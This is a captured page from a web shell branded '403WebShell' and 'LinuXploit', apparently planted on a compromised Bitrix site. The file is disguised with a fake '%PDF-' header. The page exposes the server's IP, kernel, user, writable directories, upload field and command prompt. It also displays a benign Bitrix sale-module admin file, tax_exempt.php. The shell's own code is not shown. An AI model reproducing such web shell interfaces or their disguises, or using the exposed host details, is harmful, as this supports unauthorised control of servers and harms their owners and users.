%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.226.187.194
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/admin/tax_exempt.php
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

\Bitrix\Main\Loader::includeModule('sale');

$publicMode = $adminPage->publicMode;
$selfFolderUrl = $adminPage->getSelfFolderUrl();

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if ($saleModulePermissions < "W")
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

IncludeModuleLangFile(__FILE__);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/prolog.php");

$sTableID = "tbl_sale_tax_exempt";

$oSort = new CAdminUiSorting($sTableID, "ID", "asc");

$lAdmin = new CAdminUiList($sTableID, $oSort);

$arFilter = array();

global $by, $order;

$dbResultList = CGroup::GetList($by, $order, array());

$dbResultList = new CAdminUiResult($dbResultList, $sTableID);
$dbResultList->NavStart();

$lAdmin->SetNavigationParams($dbResultList, array("BASE_LINK" => $selfFolderUrl."sale_tax_exempt.php"));

$lAdmin->AddHeaders(array(
	array("id"=>"ID", "content"=>GetMessage("TAX_ID"), "sort"=>"id", "default"=>true),
	array("id"=>"TIMESTAMP_X", "content"=>GetMessage("TAX_TIMESTAMP"), "sort"=>"timestamp_x", "default"=>true),
	array("id"=>"NAME", "content"=>GetMessage("EXEMPT_NAME"), "sort"=>"name", "default"=>true),
	array("id"=>"DESCRIPTION", "content"=>GetMessage("EXEMPT_DESCR"), "sort"=>"description", "default"=>true),
	array("id"=>"COUNT", "content"=>GetMessage("EXEMPT_COUNT"), "sort"=>"", "default"=>true),
));

$arVisibleColumns = $lAdmin->GetVisibleHeaderColumns();


while ($arGroup = $dbResultList->NavNext(false))
{
	$editUrl = $selfFolderUrl."sale_tax_exempt_edit.php?ID=".$arGroup["ID"]."&lang=".LANGUAGE_ID;
	$editUrl = $adminSidePanelHelper->editUrlToPublicPage($editUrl);
	$row =& $lAdmin->AddRow($arGroup["ID"], $arGroup, $editUrl);

	$row->AddField("ID", $arGroup["ID"]);
	$row->AddField("TIMESTAMP_X", $arGroup["TIMESTAMP_X"]);
	$textForName = "<a href=\"".$selfFolderUrl."group_admin.php?find_id=".$arGroup["ID"]."&lang=".LANGUAGE_ID.
		"&set_filter=Y\">".$arGroup["NAME"]."</a>";
	if ($publicMode)
	{
		$textForName = $arGroup["NAME"];
	}
	$row->AddField("NAME", $textForName, false, false);
	$row->AddField("DESCRIPTION", $arGroup["DESCRIPTION"], false, false);

	$fieldShow = "";
	if (in_array("COUNT", $arVisibleColumns))
	{
		$dbRes = CSaleTax::GetExemptList(Array("GROUP_ID" => $arGroup["ID"]));
		while ($arRes = $dbRes->Fetch())
		{
			if($arTax = CSaleTax::GetByID($arRes["TAX_ID"]))
			{
				if ($fieldShow <> '')
					$fieldShow .= ", ";

				$fieldShow .= "<a href=\"/bitrix/admin/sale_tax_edit.php?ID=".$arRes["TAX_ID"]."&lang=".
					LANGUAGE_ID."\">".htmlspecialcharsbx($arTax["NAME"])."</a>";
			}
		}
	}
	if ($fieldShow == '')
		$fieldShow = "&nbsp;";
	$row->AddField("COUNT", $fieldShow);

	$arActions = array();
	$arActions[] = array(
		"ICON" => "edit",
		"TEXT" => GetMessage("EXEMPT_EDIT_DESCR"),
		"LINK" => $editUrl,
		"DEFAULT" => true
	);

	$row->AddActions($arActions);
}

$lAdmin->setContextSettings(array("pagePath" => $selfFolderUrl."sale_tax_exempt.php"));
$lAdmin->AddAdminContextMenu();

$lAdmin->CheckListMode();

/****************************************************************************/
/***********  MAIN PAGE  ****************************************************/
/****************************************************************************/
$APPLICATION->SetTitle(GetMessage("TAX_EXEMPT_TITLE"));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
if (!$publicMode && \Bitrix\Sale\Update\CrmEntityCreatorStepper::isNeedStub())
{
	$APPLICATION->IncludeComponent("bitrix:sale.admin.page.stub", ".default");
}
else
{
	$lAdmin->DisplayList();
}
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit